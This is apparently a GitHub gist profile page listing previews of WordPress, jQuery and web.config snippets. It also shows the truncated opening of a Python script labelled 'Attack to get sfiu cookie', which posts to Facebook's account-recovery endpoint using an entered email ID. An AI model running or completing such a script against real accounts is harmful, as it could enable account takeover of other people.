Skip to content

Instantly share code, notes, and snippets.

View imemohit's full-sized avatar

Mohit Agarwal imemohit

View GitHub Profile
@imemohit
imemohit / web.config
Last active August 29, 2015 14:08 — forked from jonahvsweb/web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<rewrite>
<rules>
add_filter( 'dt_menu_options', 'custom_menu_filter' );
function custom_menu_filter( $options = array() ) {
if(is_page( 42 )) {
$options['location'] = 'foo';
}
if(is_category( )) {
$options['location'] = 'bar';
add_action( 'get_header', 'dt_archive_sidebar', 10 );
function dt_archive_sidebar() {
$config = Presscore_Config::get_instance();
if(is_archive() || is_category() ||is_search() ){
$config->set( 'sidebar_position', 'right' );
$config->set( 'footer_widgetarea_id', 'sidebar_1' );
}
@imemohit
imemohit / harenablock
Last active August 29, 2015 14:14 — forked from Getmrahul/harenablock
#! usr/bin/python
# -*- coding: utf-8 -*-
import requests
######################### Attack to get sfiu cookie ######################
url = 'https://touch.facebook.com/login/identify/?ctx=recover&ref=wizard'
phno = raw_input('Enter EmailId:\n>')
payload = {
'lsd' : 'AVqoLCeF',
,
basicInit : function() {
retinizer();
var $container = this.settings.targetContainer;
$('.dt-gallery-mfp-popup', $container).not('.mfp-ready').on('click', function(){
var $this = $(this),
$container = $this.parents('article.post');
jQuery(document).ready(function($) {
dtGlobals.magnificPopupBaseConfig = {
type: 'image',
tLoading: 'Loading image ...',
mainClass: 'mfp-img-mobile',
removalDelay: 300,
image: {
tError: '<a href="%url%">The image #%curr%</a> could not be loaded.',
titleSrc: function(item) {
@imemohit
imemohit / 818 2676
Last active May 17, 2016 06:55 — forked from anonymous/810 2840
/*! Magnific Popup - v1.1.0 - 2016-02-20
* http://dimsemenov.com/plugins/magnific-popup/
* Copyright (c) 2016 Dmitry Semenov; */
;(function (factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['jquery'], factory);
} else if (typeof exports === 'object') {
// Node/CommonJS
factory(require('jquery'));